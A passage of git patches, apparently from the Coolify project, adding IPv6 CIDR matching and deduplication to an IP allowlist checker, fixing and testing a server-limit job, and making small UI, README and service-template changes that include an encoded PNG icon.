Validate mask for address family + if ($mask < 0 || $mask > $maxMask) { continue; } - // Calculate network addresses - $ip_long = ip2long($ip); - $subnet_long = ip2long($subnet); + if ($isIpv6Subnet) { + // IPv6 CIDR matching using binary string comparison + $ipBin = inet_pton($ip); + $subnetBin = inet_pton($subnet); - if ($ip_long === false || $subnet_long === false) { - continue; - } + if ($ipBin === false || $subnetBin === false) { + continue; + } - $mask_long = ~((1 << (32 - $mask)) - 1); + // Build a 128-bit mask from $mask prefix bits + $maskBin = str_repeat("\xff", (int) ($mask / 8)); + $remainder = $mask % 8; + if ($remainder > 0) { + $maskBin .= chr(0xFF & (0xFF << (8 - $remainder))); + } + $maskBin = str_pad($maskBin, 16, "\x00"); - if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { - return true; + if (($ipBin & $maskBin) === ($subnetBin & $maskBin)) { + return true; + } + } else { + // IPv4 CIDR matching + $ip_long = ip2long($ip); + $subnet_long = ip2long($subnet); + + if ($ip_long === false || $subnet_long === false) { + continue; + } + + $mask_long = ~((1 << (32 - $mask)) - 1); + + if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { + return true; + } } } else { // Special case: 0.0.0.0 means allow all @@ -1451,6 +1475,67 @@ function checkIPAgainstAllowlist($ip, $allowlist) return false; } +function deduplicateAllowlist(array $entries): array +{ + if (count($entries) <= 1) { + return array_values($entries); + } + + // Normalize each entry into [original, ip, mask] + $parsed = []; + foreach ($entries as $entry) { + $entry = trim($entry); + if (empty($entry)) { + continue; + } + + if ($entry === '0.0.0.0') { + // Special case: bare 0.0.0.0 means "allow all" — treat as /0 + $parsed[] = ['original' => $entry, 'ip' => '0.0.0.0', 'mask' => 0]; + } elseif (str_contains($entry, '/')) { + [$ip, $mask] = explode('/', $entry); + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => (int) $mask]; + } else { + $ip = $entry; + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => $isIpv6 ? 128 : 32]; + } + } + + $count = count($parsed); + $redundant = array_fill(0, $count, false); + + for ($i = 0; $i < $count; $i++) { + if ($redundant[$i]) { + continue; + } + + for ($j = 0; $j < $count; $j++) { + if ($i === $j || $redundant[$j]) { + continue; + } + + // Entry $j is redundant if its mask is narrower/equal (>=) than $i's mask + // AND $j's network IP falls within $i's CIDR range + if ($parsed[$j]['mask'] >= $parsed[$i]['mask']) { + $cidr = $parsed[$i]['ip'].'/'.$parsed[$i]['mask']; + if (checkIPAgainstAllowlist($parsed[$j]['ip'], [$cidr])) { + $redundant[$j] = true; + } + } + } + } + + $result = []; + for ($i = 0; $i < $count; $i++) { + if (! $redundant[$i]) { + $result[] = $parsed[$i]['original']; + } + } + + return $result; +} + function get_public_ips() { try { diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php new file mode 100644 index 000000000..6b2c074be --- /dev/null +++ b/tests/Feature/ServerLimitCheckJobTest.php @@ -0,0 +1,83 @@ +set('constants.coolify.self_hosted', false); + + Notification::fake(); + + $this->team = Team::factory()->create(['custom_server_limit' => 5]); +}); + +function createServerForTeam(Team $team, bool $forceDisabled = false): Server +{ + $server = Server::factory()->create(['team_id' => $team->id]); + if ($forceDisabled) { + $server->settings()->update(['force_disabled' => true]); + } + + return $server->fresh(['settings']); +} + +it('re-enables force-disabled servers when under the limit', function () { + createServerForTeam($this->team); + $server2 = createServerForTeam($this->team, forceDisabled: true); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + expect($server2->settings->force_disabled)->toBeTruthy(); + expect($server3->settings->force_disabled)->toBeTruthy(); + + // 3 servers, limit 5 → all should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('re-enables force-disabled servers when exactly at the limit', function () { + $this->team->update(['custom_server_limit' => 3]); + + createServerForTeam($this->team); + createServerForTeam($this->team); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + // 3 servers, limit 3 → disabled one should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('disables newest servers when over the limit', function () { + $this->team->update(['custom_server_limit' => 2]); + + $oldest = createServerForTeam($this->team); + sleep(1); + $middle = createServerForTeam($this->team); + sleep(1); + $newest = createServerForTeam($this->team); + + // 3 servers, limit 2 → newest 1 should be disabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($oldest->fresh()->settings->force_disabled)->toBeFalsy(); + expect($middle->fresh()->settings->force_disabled)->toBeFalsy(); + expect($newest->fresh()->settings->force_disabled)->toBeTruthy(); +}); + +it('does not change servers when under limit and none are force-disabled', function () { + $server1 = createServerForTeam($this->team); + $server2 = createServerForTeam($this->team); + + // 2 servers, limit 5 → nothing to do + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server1->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); +}); From 0ca5596b1f78550bf8cacc96a5ea7c4a427befb7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 17:03:59 +0100 Subject: [PATCH 140/305] fix(server-limit): re-enable force-disabled servers at limit Handle non-positive disable counts with `<= 0` so teams at or under the server limit correctly re-enable force-disabled servers. Add a feature test suite for ServerLimitCheckJob covering under-limit, at-limit, over-limit, and no-op behavior. --- app/Jobs/ServerLimitCheckJob.php | 2 +- tests/Feature/ServerLimitCheckJobTest.php | 83 +++++++++++++++++++++++ 2 files changed, 84 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/ServerLimitCheckJobTest.php diff --git a/app/Jobs/ServerLimitCheckJob.php b/app/Jobs/ServerLimitCheckJob.php index aa82c6dad..06e94fc93 100644 --- a/app/Jobs/ServerLimitCheckJob.php +++ b/app/Jobs/ServerLimitCheckJob.php @@ -38,7 +38,7 @@ public function handle() $server->forceDisableServer(); $this->team->notify(new ForceDisabled($server)); }); - } elseif ($number_of_servers_to_disable === 0) { + } elseif ($number_of_servers_to_disable <= 0) { $servers->each(function ($server) { if ($server->isForceDisabled()) { $server->forceEnableServer(); diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php new file mode 100644 index 000000000..6b2c074be --- /dev/null +++ b/tests/Feature/ServerLimitCheckJobTest.php @@ -0,0 +1,83 @@ +set('constants.coolify.self_hosted', false); + + Notification::fake(); + + $this->team = Team::factory()->create(['custom_server_limit' => 5]); +}); + +function createServerForTeam(Team $team, bool $forceDisabled = false): Server +{ + $server = Server::factory()->create(['team_id' => $team->id]); + if ($forceDisabled) { + $server->settings()->update(['force_disabled' => true]); + } + + return $server->fresh(['settings']); +} + +it('re-enables force-disabled servers when under the limit', function () { + createServerForTeam($this->team); + $server2 = createServerForTeam($this->team, forceDisabled: true); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + expect($server2->settings->force_disabled)->toBeTruthy(); + expect($server3->settings->force_disabled)->toBeTruthy(); + + // 3 servers, limit 5 → all should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('re-enables force-disabled servers when exactly at the limit', function () { + $this->team->update(['custom_server_limit' => 3]); + + createServerForTeam($this->team); + createServerForTeam($this->team); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + // 3 servers, limit 3 → disabled one should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('disables newest servers when over the limit', function () { + $this->team->update(['custom_server_limit' => 2]); + + $oldest = createServerForTeam($this->team); + sleep(1); + $middle = createServerForTeam($this->team); + sleep(1); + $newest = createServerForTeam($this->team); + + // 3 servers, limit 2 → newest 1 should be disabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($oldest->fresh()->settings->force_disabled)->toBeFalsy(); + expect($middle->fresh()->settings->force_disabled)->toBeFalsy(); + expect($newest->fresh()->settings->force_disabled)->toBeTruthy(); +}); + +it('does not change servers when under limit and none are force-disabled', function () { + $server1 = createServerForTeam($this->team); + $server2 = createServerForTeam($this->team); + + // 2 servers, limit 5 → nothing to do + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server1->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); +}); From 80be2628d06ec2c941e2d5c1e2379bd77085fea1 Mon Sep 17 00:00:00 2001 From: Cinzya Date: Tue, 3 Mar 2026 20:57:03 +0100 Subject: [PATCH 141/305] chore(ui): add labels header --- resources/views/livewire/project/application/general.blade.php | 1 + 1 file changed, 1 insertion(+) diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index f576a4a12..aada339cc 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -527,6 +527,7 @@ class="flex items-start gap-2 p-4 mb-4 text-sm rounded-lg bg-blue-50 dark:bg-blu @endif
+

Labels

@if ($application->settings->is_container_label_readonly_enabled) From 86cbd8299163e444e0e4dc3ea431dc6b006b6bfa Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 22:07:36 +0100 Subject: [PATCH 142/305] docs(readme): add VPSDime to Big Sponsors list Include VPSDime with its referral link and hosting description in README. --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index c78e47997..901536208 100644 --- a/README.md +++ b/README.md @@ -96,6 +96,7 @@ ### Big Sponsors * [Tigris](https://www.tigrisdata.com?ref=coolify.io) - Modern developer data platform * [Tolgee](https://tolgee.io?ref=coolify.io) - The open source localization platform * [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform +* [VPSDime](https://vpsdime.com?ref=coolify.io) - Affordable high-performance VPS hosting solutions ### Small Sponsors From 5585e68b38f775922efcdb73468c0a40a2e36a92 Mon Sep 17 00:00:00 2001 From: Ariq Pradipa Santoso Date: Wed, 4 Mar 2026 12:07:52 +0700 Subject: [PATCH 143/305] Add imgcompress service configuration for offline image processing - Introduced a new YAML configuration file for imgcompress service. - Configured the service with environment variables for customization. --- public/svgs/imgcompress.png | Bin 0 -> 94029 bytes templates/compose/imgcompress.yaml | 21 +++++++++++++++++++++ 2 files changed, 21 insertions(+) create mode 100644 public/svgs/imgcompress.png create mode 100644 templates/compose/imgcompress.yaml diff --git a/public/svgs/imgcompress.png b/public/svgs/imgcompress.png new file mode 100644 index 0000000000000000000000000000000000000000..9eb04c3a7a9630fcd5932d30851623d8a20e350b GIT binary patch literal 94029 zcmV)lK%c*fP){{&ZKx?CzR&6;WKlgaI=_5fl)H zoQGkC0Vbz6^WuFscXw5t?~m?#-+gc14CorrrSviP_U*3juBvnDoZm^nGwmtElwX3d&}F~;ra=tyO=$?l-8=S@ybru;B;{8}wxEyy8~uohNWGR#&f#X^9E z5;~X51#S8EN-~u!3dlmaRGKXNesyeYtQLl0uw==S@WjJU^e?;evf(fcn-9o)yh8IQ z8Gmk^V)uUfGwq+LJ;MN=dTZS^_aJtqBn~~aCndvd?~bv`^5NmpzOJ60-XI7ME0ro8 zBq@sb1K4|`7NTzwJjLSpx#ymi|NZapJ0zdaFD{qD<0Yy2A=~{m zxZ8CTDPssiI*>xbQ4W|H0s@cAlIqJmM@vR;rid*HbO$cTD!L~u`P_@nf4Fbo?!sfTdP=a8V98m7#y6tpcd4Q ztJVBNT_<@`5Yk*BN2PNdkzC zW|qQ%n@q9mC0UUq0xQP_1O$BFhY$o4FoLiGAu9-jV3$;4mmt2AjosAO*LAm2YU87i zuH9~oX{t4i;c1Z)o>3kC!P+wnAZo2UJ%|X$9k*Y0^Y+@&e$78Q2!d0ja*kk`O$+71 zaXd(JVJ&GLhE%DHTV_i^=#wLe^7%YT1zNUjksX{fK#61uOPB74g$ouSmr0U@g?jSwmgvlqAi<=NJNAVP$cRz6A`gxShg&L0y7hVQLFnHpP0bd$T&|-PLd7{ z0OB1xcG23kYcM)G%0Z~HW!rXa*t7|NLbY1QxM|$g+Wuj$$?l zgF18&z=SopZa5xl`)DTNJ>rM{UA-d*=Gz-h5iopFB6z;d7Nt_6p>n92cYnLcr83Ra-5WgtdkoK{R);4|C^r z(4wV_aqN*ta(72J9d_uUoNLRWt)ra?#4YzjOc<@09D$>qKRPY|5X17++)zwMO=|#w z86c(@5SX=1yRWf^CyGU~#$x-nZT!e1YbXeOe(-^ZvF@>TG+rq26B{-`8wX(+GD(*c zUd9Tg;CY@D#KKq$qXP&wuwf~19NKPz@V|pMgB!Irt@nF|89dF} z|0M<>8w*befg_GMV(yNi!r9g86l}V!D*+R zgrg2W0tX*_APdoe2^zbrg|UW-K?1~r1VIq2U=|=E5SSUv#6(O0g9r?W=J-dy&!7pO zK0`#}&v6N0fT__nH|`aS?J+Z9DdlWEb8)gjt5>hVU$&&M-r!r!s|vonAO zsAmv^d3}9zPtl=$htd3e>twTz>q5GYt@*ww6egr2G%cCmPtQK(M4W!c>3saL$5B3? zLxUWd8O9g}Ktc$B2qHH4b4;BLp`VFCpw?d+{lGF)g9w?Kl~QO?4fZP58)GO!_X$D> z5VfipHkJ!$rn=GcnHo<>t-nSLD0&{NBjHF&MI@)IFhQVsXxC1<{f@hM)vDEe_g(kU z+I1T-St_w6g=8vgQ^^z@A(aU=Oc;P!gROZ8HoV?T+uxk~l9$|b@x@>BTln2G%;4|T z{+StoY!E&(i~jya=lFj37EP#MewvS20{V_8T^f||^L0N5Z1Y4`43s8(xH zhYV0``)3Anxg7fXdiR*GNW|u72ajoW>ZIA20Rc>nlj38oDh4yNnD(o+77S(>kWz|c zJ4qAA*syUU?!M+3tW>hpU&x9#X;vJEQXnVMhc@$n(y zxgm~UaU{Ls*;Rv!GSge2BaVskrY3z&2nJ&otqm3WFV!}JZEHNgjcS- zjUIaFA-?6-TQNL5g6-S3qg*bxyoPSlL03l)&6_`uJ389%yyrg;2OoSe9ed1iXlu_m zZx!eeQVK|-Ch_m_P%IkHJN+SHTbMGi2p}`E1hPKT3bBy&_lTK=9_rs z%G+`8y${gDgm0yru(^DWmFJK)R_S^T!f04acM55KmQLDVZQHhWv$ajSpN7>u)BZZ` zpNRo9QGFo@^B3*^+*-ZIWa2R+f)4F)1QY6E;ye~IN|uFh-;#q zh=mYDPhHubMa+)Hd<(GEBqQ-2+qQ4zYp%W)S6_7v?!MVCBNhA=+dm5fkN^x3aOjGo57@SO z_>;!sT+d6v^HRE2tJ2umZrRt@#pl2B<#^MZF2K^o3jhGtShB`II7hxBaf`*uYUDw_}R~XN`=BWgxkrToxRl4KZg^^G+9V!tvS>_DMtaq!Pr;<^?DuB zI8efYY75ZT*#qT+C4g$Bh|!T9G_rFu163NBJD1<}&UfOiZ+Q#a@_8^bS!+R3PVMK7 z)=*pa{gzM8B;wy<(V=;cwHDS|#41zs_=Zhe@w@A8z>PQEh}-YH2g9S2oXNJ^Y&y$= zNa;{R+W=Zuw@WfV&E|7gY~S?wgJw!aP_wyVKhysF_K(g0n!En1U;X~{AO7%*4^->H z``tt)>$w>d1O|n|m>e9;@r4(@mM(bx>v&Fo9|2%r2SgxNLV}2h$hK@Yz>_Tcz5X79 zgiuPMP$=?eKl3^I>ev1oK@jl3;1cTUnZxk1@WYToZJ@Pg1_&frDu)8!A}kE!)T4T^ z;-m}~%>y2L#OI%0GfeA-E&BU9nGA!-l2VeBPJ&EW!q#nTcyiZn^z{$W$3FURc>CMm z&HyOX8cNA2YM<$q@TaxCT|KLWz|6$Vu-1Y=kZQ^l`S=s-aqVxe<6r*j*I50?6R1@b zXR;J^R?z}Eo@L68s(5)Ig%MKipHFolwdX(IhT zoq6J&k7E1&)z@6Z?|bk6!-fry(%gjya>u|@=ulG-1RQD;8RugR5kw#<5RwZX--iGB z>{0yu(?TF+2wE}%Lz7`IUjMGuxb?vRJ>6;4bqTNnL;{}cAmO>Np~mLN)^V}02`8O+ z625xzf8)?Y4x=E{EF_U60VZli0a~Abw$H8KXCr$232TUB$$$vNF*6`zE$+JOUjEgu zevNCc`5iWI9Rewj+uA#glCG-Pd)??U<3a~e(I9r>wpV;Stt+gbj zihUwLW8)L}-S4jF@BiS3xZ}=yNE??k`S~`XJPvJH1;Hq+He0gk#J3MzzTmPOZn$A6 z#tEJQ4FAmbkH!F+cK!K_7oR#&sD52}UCSNM)0Q=j4-biD`^}@zefpz#@tH3M0Ir8V zq?B+(Y-hJ<*vev;oTv$y_~T6UPhdvdg8^7;NeF?$WD&1;`O9$q_19z0!u`3ke>rMF z9Xbq%gko3%qF5gYA|@~~TPDF&EeRaGe~o{6>0*Sa&?Wz)`HPoqK#6Pk$a|OILl?FY zsU$x1>8-f@YKy)O4|N+dNW>-z!vsl2GZM)JyNYSc#)o-g_f}l^<~QS8-}nZJn9{_b z2XM|jj=eCBr=%WC9kXn#CCdyavL*lk-+k}Bxa{)p;8$1OfWml)biU1|a!C_v?Q&R# ztxpV*RNp^v|HYTye%o!E>=Yw-Mm6{o+CLHl5CE(Y0=@n7{-qX(FA0^GZZZ)T%Oi?S z74Le>>+x?N{s`r=8TPd%DFl=du_F%6T(mPkW6xt#2J^V>v6vfT|HNbwr=M{K-+jmJ zwEuy}BAM>wYG}!_jY4vXB7cAen_))di13B z&iP|>>o1N)*Ww|3>6;dx{8AbH^CV0ikkkkUU;qM41j`o8Kt7Y^$GAvd+*iCD zKl=U^!~{sCSk5lm&-T4_T=vzTikh&O`$hlQhLe>La3X&T+Pq~8uK4kf`HCO>gdg9u zi@a2ZbJ-3n46AxD4kgUEr^F?W~!C5-Dhkkd}Pw78C`&r6mGcd-Gs}y9zX(w89GsRoXSdg^m=RMZ^ zv_2Z{yILEZefD{L_Z_!m`GF^MD&2`nwMxVs@3sVKL4qlE45rvW$fDuZX9Mg45ENQVq1L=${(OA& z!yl%*?_5dWx%9uV;-DpBY}Xc5D2>~6raKgFdq>^4ADygxdNOp%N)Y!dqgM8bY&*$6zcmqy4;RMz?1T#ZM zrZ1khy7o@&-16^ipIaNZ_G7JuloFr()aP)^&A-Ru{a3(E^isLvGbw@CyT92d#XG-J zfDnj+04Z|QPbLJmZ7YMu1dceW7e^fJVZ#%fFtlSE&V6M+FId9xhX-)mO%v4C;ekVf z6s}+)>?#Nhwv7!kKF$UyzO1@!X;n*FNDUB zBjvu{cW+~Yr%25E>Su4~@9|qBA4>d%jI|)qaCrt_d+l}j&;R@)-G0X^erl43l<-WO!pva zzJ`d>bRaf&Mg4Jv`j<*|9I{N%Z+@_xg;n_U*M{ig@2_DKrs1e0NiV_mS`D3Y6jxnw zA}#LO$i{1@FI^V$S1#Q}19Q3%LNhZFvxQQ`;}Zp{`vE#TJHbK&R)L5k4+aoyj0fmY zqdniwTQ)vI<-%4x^2jQ?c+o;?STOc64u8tn>}$;b)c*DfDl#)dV<7}V3BiHZ_~8{l z!dJd>39nr{L~T7iHj#C>R;{a`Iu3_w-bneE%3aL+vBx%mC{S94EyCwv{iRSt`Ise{1r-`-j);m?NtV;>8y zi3u<>ks#Ja1_B5HO+$Br;%_MutCt!3IJ&uF0>OEVmd3eKwN$Q!@I%X6 zHkR;$lk)tp?_SD5Weirv$%QOniC{?pEMOUs(m}OarT+f8T(6b*;;&yU5aAdzStrkU zcbY-8t>f`jv4Fkd0Ilcj!y2>ay@-e%DWQa5tqn<~aKYY1Uyn<_@n2*Bw#HE8bVIQRAMhvW^mr0e*FMGF*vFmkfA9euckGFj$@QUs$$=cy z>VTAFZIcHvTP6Znuz_?O4DTMJFMfCtF1RoWJv0QV36%7JtNM^EbQ}J}M~Cs{?~G92Ko$r!EK$VY znW97@5MZm3PANRL`fl|1X0YzjN8!3|Yv3UE^6q=v!DpWTWaB?`E}l%S*w;DJ?!gR% zMzgCF0l=26TliC-{yhKq%Buv)JhylD8>_7fYef(j?oFlmqHWu@UKjJf|FhD-(}@8H z0DRnW$8|sa=o5EjGo6b)uQS}f?Fr|VuXquD@V(1mY?P5Ua-xaV{{LOo96X6gy2r6F z4B2rUeB+y!;_YvHD=pmrC{DKZLkA%-5asHPoPC&MW*`7!5wZydb?GX;^yQ^kb}*qh z>_eBCjRPb-gEUF%XiKwleArqEf*3$RnA65kE@4u@uO=9*NNb5yssdZu4nq=8j4k8m zy>=ziZS91>f`vpwG@>{j(6WK+3RDX_v2DY{e8(Mk;+SKOCS%NODZ~C$BL3f;H}m(s zeSb2>4rV5;H9L+&0Qir$+=h=|^jX|>&%MaE&*hYtwydkFUN3;iTt0Vh_ebx)|Nf!> zt4>7fDV+1SXw>lVdw9(g-&TqIVyUv>_N^P8=RW%+zWlOpK^p@Ck)k+n&FstR$v~#P z?OuE9V~^ishC^%CJPH7CQf<)Ml5H6Dr>FIz$jHUamY^KVBRYv!y>kO4(gtB*AxM$6 z4CP8@LEN1V>HocTAg*FDKoct`h^^e!#o0ne3pa1u-(9WTCs=t4s@w`6N{mO;wH|~1=z`)}7 z?b@~Jr*U@U|5MVy(**+%0CY#sz`uIQ{EL#wY*;AlR!1MTKmYJY--e?khzU{%FbSHL zm1laJDK5_ZytlTubN0|p8#(kIdhlTe5Eb!YM#~~>S(F?Lrx7u-1-vvP)0qNP22Lsq zl}f=)rx?nCNISIV@gg3+f06|lDx1M|w*u#0xC^g&?@pZg`iF7a%OAuWJ~WJfzgXh> z2M4fb^dNlqa*MBCx}I}gd2na}q8T*Z__JUV03-vz%9XcAFBv-|?PV-y!%OxhvSTmv z(0a~Z8SGyA!z>JHHf*7pdyRx($8lhcfwh+3`j$7~j@y5a3t#^V9vRsvC#$2z}({>#od<5>;g0rfPKj{j<{RRR!u0b~B!O#m=UmM=ei_ekO6DX$~+>qV7J zTKwdv-$h498;sE;RrGibuRfZd?B=QJpR?_9t=G+V?X>T4rVwuC&LI(Ru+(}oGnkZ8 z0D}aWi42T2WDG#o#705_8w(x;smMEoU3kzQdm^08%mww}7e%Z^<031}EP& z$GGWEW5eQwx8AES`N4|Fp4*9!P;1aV0+{VnBl8pj(H> zM?w^K@8Z(XC`PwdsW5I4vSPp`umV^zQCvWn6`(CVnZVNhJwVsl>Hyn^d}gW1_X7y2 z;H3nm+ckIeD{kxRM82yVxt=yi6%uKNW(AJIoQVNg5-=cGCa@)vR)9l80FX>28!yvP zUAP5Pc`}55Z&JbDHW8XJ#`|I%w3m6DbuMOYE!Yq-k*8cTMsq!^(`l!if|WPlK>zxY zw_3llMNW>5I*K~NggbwU4wApix6l2;d*6FrGA90~i<bl%x7;y`OSj*Dioj6V%&o^7H2sSIw91=w&~ z9h@_l5vBbi5+Y^-gf>R{OkuO()a)8Ao}13GC1K_izG@Eh9SrMaU)AF z2w)oqa9xGIIW9nwsU)1GG^eFCu=5CD!o`X~UJ{8|-4Okoj%7`2*4e}8~aeK^Y}9k>aj^h$HQ~pLpLWKgXaJW(? zRH_Q4Nx?x)LMa)?9Pg3c2w(;YM!i}l09Y_@UUZnEou6hO@0nxqWcvG)&C8R0p6%Mb zG5&oK<*e$60HCA-2=H|cD~>#p{&@3m@Uf4+8{-o@M5SD%RI(#XCcBRu+ErQE(J^p= zl%gRWKV2}hzgQCh@T*^ae;!FU85(@FXJFvjL=^rFn1BRezkcc0Ph(0P>^fOf7#o)F zde_@%{+xao6S9&`7Qoh8w$?TX_sMqmnV*{|Sd@UH$pp|ySrxav_1*j~V*mcbk31A4 z94?Oyag=Z?CLdwh7{lpIhP5uEK5P(H1p8adY>NfleB)zmEy491v;^-!NCDqx8fde~ zxXef}J-XAO;R>^(QeYbu2M08S049q?7QBP@8?0b{e+7pwH8j7Yh|<_N6gd>7=xlaR z4VY4xfQw^8+}YKO1D5X(0OW{feX;+Iw6w=qJ%!ItwyW<8oZaJd%X~)YYs>e>zwsJ^ zU_dF4LlZzsflqww|KXaeeu(~l(9T_JlvJL{=H_IC%w68r*8k%RFT61O&!`dz0LXTB zE>~`fokXWsEQUXE(&=Tf=;J(j7k_>u0;;v}HOfnIyY77ISL1 zrj{+dm54F5qc;}8OyH??$7q~4#R>NEc(aL^4GY9EN3X!Vc?&T)IRfqbBpVqA*pie) z)e4bcRdAd{l#WXogd)v9y=I7{lOk*N)T4kQq=aSg!AE)wGYL?FM@GOxdc@qYJ_sn8 zqVdT|ob~(zaqG`th(CO15&n3^VqEvbxwzrlLviZyghHXjQcPt#q1YJVIue0jp;~Q% zj$UyT4Gi>=H5M}~9X*Ayz%1YY)ZP8bew%sURuynoNsx%R5jYSN`aYQ$F_97u2tW`9 zcE4Oc(z&RssP4rOEOlDP3YD z{A_lh%aOU?rPFPP0QhT30tCP;pEKCuILT+b$utTR6XMJ>UWoplPUtX%Ac1IOjwRn_ z9DQ6>r-jh%RE3?HlRi@wXzGI$H#842S{7LA_0u1m2wI1fN+#*-vtJ4wPGVwwlpWNNwEZ-*xe^o7qI3}H)LEooK`NHCMI1fr<$=91+Epbl`7 zHm@&IGLeF19p&?91E2;82ac>zU*9-%X$Vv=qdZ)Iha%qk`U6p|mPkT0EC3D82t~wW z!$V-!IR91WM;ONJUKO)RL9>bW`y#M?VFoOHYNJNDx*mBd4y}6sulF)yexJX2M{6+cc3^QA@cKZ1<#Yn>pCdmN!o$r1-+B&*1 zx@#lV>t#qK*&0Hq10>th^og%ML_=j4>7{e{2frM~&Rq#U`DB-``08QEt5Hl04RhKC zNV=K>ZMnCN>F9-Xpvyi%Dc-z`nc20(Aqy}ZA>avOPkMOhu8nN#KI%yiS~6T+2b7Cj zZy9Aml<$X#AUG15TqRL0Pty3vRzBp=Bl(7|!85|aKy=Nb_4e}oVO=@?Y&MOCZU zOg`7w9@KHIo5{VEs9B=sFU9c)0D@}$1gTsO!jRiL@|Zg~001l@qH4MjjWoSejRDJu zNmn#Edn@5LsX*oe-Zh-SPp%oEe7+4@ zhY>?$h9Ut)0>eW?%xv+=PkjQ3ghw%`Fab`bFh8>qd zZzalBf^A%9t&Pf%@YFS}=QOV0W4>nGccxSjJ;T&zAq12X2*Qw-EM7u4{{DLLj<;XH z!&^2e8!)Fc{h?CX_k7@k7yWLqOozxNeKaM4E?_ky`PRa>L@Oa zZ^71X;0sQRpqxmf_ z@5FPDVS3A(djY!@f(=1}bx^_ft(&oZ`)01!Mrgqx;q9;O#f`r_hR=FM2XES9c=dW9 zxp*FG&LVotJ6B^%Ngv+tq1@<6eOwVV_ zwPbSU3<<3_sbmJs=Qy=<#B5)iP~Ad^X8 zd~_?eZCu5N9eFfvzVQZRvsqB1x^e5fO^NTb?xfSu*Ouep7W-;E!d65C+sx+CO5i*- zmhtej-4_9K!^@&kQI#9adYYs#+r4HottNxxWQfVP$$rReVa?&s${_cpifqiJ*)7w?#jm_S5=rxWTFF|`nAQ?HKLbZb9NLgXo*W3+Sx+EY@% zloewN4UV28Hg!(T%WR)ppL5!ZU~X>jt+16yfJpB1?p+t2mstn<^ZX>*JN_twm7z(uD{_IIQjTvdAwMn zcf9?*_{o(&M|bx;twd7R!(pNQ+RC23u8TIWUw3m{x2-{LPgNpNM9|7>zoe~e{@Y5W zYIwl@bJWj&_G1j~9LI_k%L%Y7rqsx&?Ewfh;x`RTDVlprST`tDs^r&wSjz}}g71f5 zwy4!>thI(UObi3paXFoF$x9M z{nD3mu^3Qq{{nP&_kuyt+7Jte0RdtQ34&CLCQAy%Qkf53=HUEuvUJX=9(Q%O5nLT< zF*@XWv5IxO4Q^k_^owh@VAXn`6WM;GI~)pwkOk@_l?!bnBZ1%mN~T#sU~G6hcJEw8 z`ya4B-*Ej6m^U~NTASEesG%4&jVldsZdNe0K_on5H$^P+Hx2-;J9V_ertQ@6|7Ug% zfSOgwTL_k!S+wl_ac9wQdqXE$Zn#&55O+B3UWh@HX$cmiGnfEl1NKycv@!gycfTLs zzU=$x>se@}@OYv)tXxlgXJqKdZy`D={6~o+AOPr?(=k{p%QdaP?tQN@GDy0C`^#VcoCUX0caOsh7Ieet*%o9}P$Rk5#vEKpR zl*$B52*~&jw(ThMG(KB;g2& zOTPJSe&72(fn2VSrSgm)OgfGXuQ~VZ=e+8YOD-t`=SkpaPwUWPihxhDUZ&&rbawvn zV`D@5#V8uEd(hQ4M=Q@2eyt?JS~+CK)#FDs5-&@mUdJU;yHfEpz=)rkQ&M%eeibN`JMn|@YtFQV67A;tg(UBqAf9V`__jW*s zvFoc4Qw)FrAwk9h6XQi58!J$`SmQ8YNXI2dDL4*68^eAOKq;bpE``3HPEKbM6tk!} zUkAfRWo4*Q+AAgyOeYeHma<`Nj3sLs)Ghze zXAZTscQTWtP-|Erm3{IkXCZ ztp&4XDFi&%Arpp}ER0}i>w17Ic`zm_dlG3?M!}Qxu=cEHGoIMw6JQAipVnJtpiJ`)T&i&9E$rUdXa-dFCiB z0yWRKEzb)JX5uD3F;jAByo+VT*-07NY9t&NzrOl9yy1=SLZAiO+B?FaT6J_#x;LBU z7jN0JW!KX^2`M!mFx%esdFA$hIAE>QNmlnha3{N|1gtj5CKAXhNetlY-~2Xz<}+W$ z?$IjRyW6$vN(yRq#l8=t%}oi<``#(19DME1fARD2DKkA(%mi9}s%>xY;sfiUS(VIm zirqt7@X?Qch%UU~O}u+(Hv}=Y=TjJ%)61!}*LYU21%g0hWONL}BV(vlnH|T2>$;JF zP6&iL)I~N zTet*Y`r?1!+_TS)tsM<{7Y(?i8PpVM!c9|Lyeg&~sv5g0#be)~$;j`KDVk%NT|bL? 